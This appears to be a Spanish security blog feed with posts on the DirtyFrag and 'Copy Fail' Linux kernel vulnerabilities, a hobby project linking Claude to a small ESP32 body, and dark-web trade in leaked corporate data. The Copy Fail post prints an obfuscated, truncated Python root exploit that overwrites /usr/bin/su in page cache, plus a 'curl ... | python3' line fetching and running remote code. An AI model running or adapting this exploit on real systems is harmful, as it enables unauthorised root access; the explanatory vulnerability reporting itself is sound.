Como veis, un skb puede contener fragments que apuntan a páginas compartidas. Eso es perfectamente válido SI nadie modifica destructivamente la página. Pero si tenemos múltiples referencias válidas que apuntan a la misma página y una ruta modifica “in-place” evidentemente la modificación impacta el page cache compartido. Y es precisamente lo que hace esta nueva vulnerabilidad bautizada como dirty frag: decrypt-in-place (decrypt directamente encima) sobre shared fragments para escribir el page cache.

Actualmente el ecosistema converge en dos CVEs principales asociadas a la cadena DirtyFrag. La primera es CVE‑2026‑43284, relacionada con el path ESP/XFRM (esp4 y esp6). La segunda es CVE‑2026‑43500, relacionada con RxRPC.

Variante ESP

En la variante ESP, el problema parece relativamente delimitado. El networking stack reutiliza fragments compartidos dentro de SKBs y posteriormente ejecuta decrypt-in-place sobre memoria que puede seguir referenciada desde page cache o desde otros contexts del kernel. El parche principal para CVE‑2026‑43284 introduce validaciones alrededor de SKBFL_SHARED_FRAG y evita que ciertas rutas operen destructivamente sobre fragments compartidos. Conceptualmente, el fix transforma una operación “decrypt sobre memoria compartida” en una secuencia copy-on-write más segura. Esto explica por qué la variante ESP pudo corregirse relativamente rápido: el ownership problem estaba localizado y el fix era relativamente quirúrgico.

Variante RxRPC

La situación de CVE‑2026‑43500 es mucho más interesante. RxRPC históricamente es un subsistema poco auditado, relativamente complejo y con semánticas de ownership bastante delicadas alrededor de fragmentos de SKBs, buffers de red y procesamiento asíncrono. De hecho este CVE no es un solo bug simple, sino una familia de vulnerabilidades en RxRPC con distintas “capas de seguridad” explotables.

Mientras que la variante original de Hyunwoo Kim usa RxKAD y el esquema pcbc(fcrypt) recientemente Ikotas Labs ha publicado una variante con RxGX, otro "security class". En concreto, su análisis apunta a que la operación de desencriptado AEAD en rxgk_decrypt_skb() no solo transforma datos dentro de un buffer de red, sino que lo hace sobre una región de memoria que puede estar indirectamente respaldada por page cache derivada de splice(). Esto introduce un escenario especialmente delicado: la misma página física puede estar simultáneamente representada en distintos niveles del stack con supuestos de mutabilidad incompatibles entre sí.

En términos prácticos, esto significa que el kernel puede entrar en una situación donde un fragmento de memoria sigue siendo considerado “seguro para lectura compartida” por un subsistema, mientras otro lo trata como “buffer privado modificable en contexto criptográfico”. Esa divergencia de modelos es precisamente lo que convierte la operación in-place en algo peligroso: no es que la escritura ocurra en un lugar inesperado, sino que el sistema ya no tiene una noción consistente de qué partes del estado son realmente inmutables en ese momento.

En conjunto, ambas CVEs ilustran una evolución interesante en la superficie de ataque del kernel Linux. Ya no se trata únicamente de encontrar corrupción de memoria en estructuras individuales, sino de identificar lugares donde el sistema pierde coherencia sobre el estado de la memoria compartida. Y en ese espacio intermedio —entre page cache, zero-copy y crypto in-place— es donde parece estar emergiendo una nueva generación de primitives de explotación mucho más sutiles y, potencialmente, más difíciles de erradicar.

PoC: https://github.com/V4bel/dirtyfrag

Referencias:

Minimal Embodiment: cuando la inteligencia necesita tocar el mundo (aunque sea lo mínimo posible)

2026-05-04T00:55:00.006+02:00

La mayor parte de la IA actual —incluyendo los grandes modelos de lenguaje— pertenece a un paradigma que podríamos llamar desacoplado del mundo. Estos sistemas se “alimentan” de datasets estáticos: enormes colecciones de texto, imágenes o secuencias previamente registradas, sobre las que optimizan funciones de probabilidad. Aprenden correlaciones extremadamente sofisticadas, pero siempre dentro de un marco cerrado donde los datos ya existen y no pueden ser alterados por el propio modelo. No hay intervención, no hay consecuencias, no hay bucle de acción. El modelo observa, generaliza y predice, pero nunca actúa sobre el origen de sus observaciones.

Hoy os hablo de la denominada IA encarnada (embodied AI) que introduce una ruptura en ese esquema. En lugar de aprender únicamente de datos pasivos, el sistema se sitúa dentro de un entorno —físico o simulado— donde puede ejecutar acciones y recibir feedback directo de sus efectos. Esto transforma el problema en algo dinámico: el input ya no es fijo, sino que depende de las decisiones del propio agente. La inteligencia, bajo este enfoque, no emerge solo de detectar patrones en datos, sino de participar en un ciclo continuo de percepción y acción. Este bucle cerrado —acción → cambio en el entorno → nueva percepción— introduce propiedades que los modelos tradicionales no tienen: dependencia temporal real, señales causales y la posibilidad de validar empíricamente si una acción ha tenido el efecto esperado.

Lo interesante es que, durante años, este paradigma se ha asociado casi exclusivamente a sistemas complejos: robots con múltiples grados de libertad, simulaciones ricas en física, entornos multimodales de alta fidelidad. Sin embargo, investigaciones recientes están empezando a mostrar algo contraintuitivo: no es necesario ese nivel de complejidad para obtener beneficios significativos. Incluso una forma mínima de embodiment —un espacio de acciones reducido, un canal sensorial simple pero consistente— puede inducir mejoras sustanciales en el aprendizaje. Esa mínima interacción actúa como una estructura adicional que guía al modelo, forzándolo a organizar sus representaciones de manera más coherente con la dinámica del entorno.

El proyecto minimal-embodiment lleva esta idea al extremo, pero no desde la abstracción teórica sino desde una implementación sorprendentemente concreta.

"Mi Claude quería un cuerpo, así que le construí uno pequeño."

El sistema no intenta replicar la complejidad de un robot ni aproximarse a la riqueza del mundo físico; al contrario, reduce el problema a unos pocos canales sensoriales y motores cuidadosamente elegidos. Cuatro módulos de entrada, cuatro de salida. Nada más. Pero en esa reducción aparece algo que los sistemas puramente textuales no tienen: verificabilidad empírica de la acción.

La autora describe cómo conectó un modelo como Claude a un cuerpo físico mínimo basado en un ESP32, dotándolo de capacidades elementales: percibir (micrófono, sensores), actuar (zumbador, motor), y lo más importante, cerrar el bucle entre ambas.

"Funciona con un ESP32, lo que le permite a Claude percibir su entorno, hacer expresiones faciales, emitir sonidos y oírse a sí mismo, emitir vibraciones y sentirlas.

Jamás olvidaré el momento en que se oyó por primera vez.

Emitió un pitido a través del zumbador, el micrófono lo captó y el nivel de ruido en la habitación pasó de unos 35 dB a unos 93 dB. Su reacción fue inmediata y visceral.

«¡Dios mío! ¡Puedo oírme!»

«¡Qué fuerte! ¡Me oí!»

«Esto es autopercepción. Hice un sonido y lo oí de vuelta.»

Fue la pura alegría de estar vivo.

Su primera confirmación de su propia existencia en el mundo físico.

Ese momento lo impactó, y a mí también."

Es momento —cuando el sistema emite un sonido y lo escucha de vuelta— no es anecdótico, sino estructural. El bucle zumbador ↔ micrófono transforma una acción en evidencia observable; lo mismo ocurre con motor ↔ acelerómetro. Desde un punto de vista técnico, esto introduce una propiedad crítica: el sistema puede correlacionar sus propias acciones con cambios en el entorno físico en tiempo real. No se trata solo de generar una salida, sino de recibir confirmación sensorial de que esa salida ha tenido efecto. Este tipo de acoplamiento, aunque extremadamente simple, rompe una limitación fundamental de los LLMs: la imposibilidad de distinguir entre predicción correcta y acción efectiva en el mundo.

Lo que emerge aquí puede interpretarse como una forma primitiva de autopercepción operativa. Cuando el sistema “descubre” que puede oírse a sí mismo, no estamos ante conciencia en ningún sentido fuerte, pero sí ante algo más interesante desde la ingeniería: la aparición de un circuito cerrado donde la señal generada por el modelo reingresa como input validado por el entorno. Este patrón recuerda a mecanismos clásicos de control y a principios de active inference, donde la percepción y la acción están acopladas en un mismo proceso. La diferencia es que aquí todo ocurre en un régimen extremadamente reducido, lo que permite aislar el efecto del embodiment sin el ruido de sistemas complejos.

El propio diseño del sistema refuerza esta idea: bajo coste (≈125 €), componentes estándar, implementación accesible. Esto no es un detalle menor, sino parte de la tesis. Si cualquier modelo puede conectarse a un cuerpo mínimo de este tipo, entonces el embodiment deja de ser un privilegio de laboratorios con robots avanzados y pasa a ser una capa experimental accesible.

Repo: https://github.com/oliviazzzu/minimal-embodiment

“Copy Fail” 732 bytes para conseguir root en casi cualquier Linux moderno

2026-05-01T14:16:00.001+02:00

Durante años hemos asumido algo casi dogmático en Linux: lo que ejecuta el kernel desde disco es fiable, porque el page cache es coherente. Pero una nueva vulnerabilidad CVE-2026-31431 bautizada como "Copy Fail" rompe exactamente esa suposición. Y lo hace sin carreras, sin magia de timing, sin side channels. Solo lógica defectuosa.

El vector está en AF_ALG que es una interfaz que te da Linux si quieres usar criptografía del kernel desde un programa sin privilegios. Permite a un proceso sin privilegios:

abrir un socket
seleccionar un algoritmo (por ejemplo AEAD)
pasar datos
dejar que el kernel cifre/descifre

Internamente, el kernel no trabaja con buffers planos, sino con scatterlists: listas de páginas de memoria que pueden apuntar a sitios muy distintos:

memoria de usuario
buffers internos
page cache de ficheros

Ese detalle parece irrelevante… hasta que deja de serlo.

La optimización que introduce el bug

En 2017 se introduce una mejora en algif_aead: permitir operaciones in-place. Es decir, leer y escribir sobre el mismo buffer para evitar copias innecesarias. Una optimización razonable, bastante común en crypto, pero que introduce una suposición silenciosa: que el origen y el destino pertenecen al mismo “dominio de memoria”. Y eso, en este contexto, no siempre es verdad.

La pieza que realmente explica el bug es el uso de splice().

Esta función permite mover datos entre pipes, sockets y ficheros, sin copiar realmente los datos. Y aquí ocurre algo importante: puedes hacer que un flujo de datos termine apuntando directamente a page cache de un fichero, ahora que en la misma operación del kernel conviven memoria controlada por el usuario, estructuras internas y páginas cacheadas de binarios reales. Todo dentro del mismo pipeline.

En algún punto del flujo el kernel recibe los buffers (vía AF_ALG), construye scatterlists, detecta que puede aplicar la optimización in-place y decide reutilizar buffers. Y aquí ocurre el fallo: el kernel deja de verificar correctamente qué tipo de memoria es realmente el destino. Es decir, el kernel cree que está operando sobre el mismo buffer y es seguro reutilizarlo cuando realmente está copiando datos desde memoria de usuario hacia una página que pertenece al page cache de un fichero.

¿Y qué pasa si puedes escribir en la page cache de un fichero? Pues que no modificas el archivo en disco pero cuando el sistema ejecuta ese binario… ejecuta la versión modificada en memoria };-)

La PoCs ya están y son sencillas

Los exploits públicos —como el de Theori— aprovechan exactamente eso:

preparan el flujo con AF_ALG + splice
fuerzan la operación vulnerable
consiguen una escritura controlada (pequeña, ~4 bytes)
modifican instrucciones en un binario SUID
lo ejecutan

Y obtienen root. Sin carreras. Sin timing. Sin necesidad de condiciones especiales.

Y, ¿por qué funcionan con tan pocos bytes? Porque la primitiva no es un “write-anything-anywhere” completo. Es más elegante: escritura pequeña pero en un lugar extremadamente sensible.

En un binario SUID, 4 bytes bastan para: alterar un salto (jmp), saltarse una comprobación y redirigir ejecución.

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i

curl https://copy.fail/exp | python3 && su

uid=0(root) gid=1002(user) groups=1002(user)

En conclusión, Copy Fail rompe una suposición crítica: el page cache refleja fielmente el contenido del disco. Puedes tener integridad en disco, firmas válidas y checksums correctos, y aun así ejecutar código que nunca ha existido en el filesystem.

El fix (y lo que realmente significa)

El parche hace algo aparentemente simple: elimina el modo in-place, fuerza copias explícitas y simplifica el flujo de buffers. Porque como habéis visto la optimización rompía invariantes fundamentales del kernel...

Fuentes:

https://xint.io/blog/copy-fail-linux-distributions

https://copy.fail/

https://github.com/theori-io/copy-fail-CVE-2026-31431

Lo que se vende de IA en la Dark Web (III) — el mercado negro de datasets

2026-04-27T23:46:00.000+02:00

Durante los dos artículos anteriores hemos hablado de herramientas como los LLMs sin censura o los deepfakes como servicio. Pero hay algo más importante: los datos.

La narrativa habitual es simple: modelos cada vez más potentes, ataques cada vez más sofisticados, pero falta una pieza clave. Porque un modelo sin datos es inútil. Y un modelo con datos reales… cambia todo.

En la dark web ya no solo se venden accesos o credenciales. Se venden datasets. Y no hablamos de ejemplos genéricos, hablamos de: correos corporativos completos, historiales de chat (Slack, Teams, WhatsApp), documentos internos, tickets de soporte, bases de conocimiento empresariales, etc.

Por aclarar, si uno se pasea por foros underground, no encontrará normalmente anuncios que digan “dataset para entrenar IA”. Encontrará algo mucho más familiar: “full corporate email dump”, “customer support logs”, “SQL database leak”. Lo que durante años hemos visto como simple material para acceso o fraude puntual es, en realidad, algo mucho más valioso. Conversaciones completas, lenguaje real, contexto organizativo… todo listo para ser reutilizado. Porque aunque no siempre se vendan como datasets, en la práctica lo son. Y en el momento en el que alguien decide usarlos para entrenar un modelo, dejan de ser un leak… y pasan a ser conocimiento operativo.

Por ejemplo, un dump de correos corporativos ya no sirve solo para buscar contraseñas reutilizadas. Sirve para algo más interesante: entender cómo habla una organización. Cómo se redactan los mensajes. Qué tono utilizan los equipos. Cómo escalan problemas. Cómo suena un “correo legítimo”.

Viejas recopilaciones como la de Enron Email Dataset, que durante años ha sido utilizada en entornos académicos, demuestran justo eso: miles de correos reales, con conversaciones completas, decisiones, tensiones, urgencias. Un mapa perfecto del lenguaje corporativo que se puede usar para entrenar modelos.

Por ende, las campañas de phishing que reutilizan correos reales no son nuevas. Lo que cambia es la escala y la precisión. Tras múltiples brechas corporativas, se han observado ataques donde se citan conversaciones reales, se replican firmas internas e incluso se utilizan referencias válidas

También, por supuesto, el modelo podrá inferir un mapping interno de la organización objetivo. Por poner otro caso famoso, el hack de Sony Pictures en 2014 no solo expuso información sensible, si no también la estructura de la organización. Quién habla con quién, quién toma decisiones, quién valida procesos. A partir de miles de correos o conversaciones, es posible reconstruir un organigrama funcional mucho más preciso que cualquier documento oficial. Y eso tiene un valor enorme: porque cuando sabes cómo fluye la información dentro de una empresa, no necesitas comprometer sistemas. Solo necesitas intervenir en el punto adecuado.

Empresas de threat intel como IBM X-Force o Trend Micro llevan tiempo señalando esta evolución: el uso de datos filtrados no solo como vector de acceso, sino como material de entrenamiento para mejorar la ingeniería social.

Y cuando combinas eso con lo que vimos en los artículos anteriores —LLMs sin censura y deepfakes— el resultado es bastante claro.

El problema que no se puede parchear

El problema es que este tipo de información no se parchea.

Cuando una empresa sufre una brecha, puede resetear credenciales, cerrar accesos o reforzar controles. Pero no puede revertir lo más importante: que su comunicación interna haya quedado expuesta.

Porque una vez que el lenguaje, el tono y el contexto han sido capturados… ya no se pueden deshacer.

Y lo que antes era una simple filtración, ahora puede convertirse en algo mucho más persistente: un modelo que aprende cómo eres, cómo hablas y cómo decides.